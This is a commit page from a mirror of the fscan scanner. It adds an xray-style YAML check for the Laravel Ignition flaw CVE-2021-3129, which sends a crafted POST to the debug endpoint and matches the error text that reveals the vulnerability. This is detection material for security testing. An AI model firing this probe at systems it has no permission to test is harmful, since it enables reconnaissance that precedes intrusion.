mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-26 21:21:53 +08:00
优化xray解析模块,支持groups、新增poc
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
name: poc-yaml-laravel-cve-2021-3129
|
||||
set:
|
||||
r: randomLowercase(12)
|
||||
rules:
|
||||
- method: POST
|
||||
path: /_ignition/execute-solution
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |-
|
||||
{
|
||||
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
||||
"parameters": {
|
||||
"variableName": "username",
|
||||
"viewFile": "{{r}}"
|
||||
}
|
||||
}
|
||||
follow_redirects: true
|
||||
expression: >
|
||||
response.status == 500 && response.body.bcontains(bytes("file_get_contents(" + string(r) + ")")) && response.body.bcontains(bytes("failed to open stream"))
|
||||
detail:
|
||||
author: Jarcis-cy(https://github.com/Jarcis-cy)
|
||||
links:
|
||||
- https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129
|
||||
Reference in New Issue
Block a user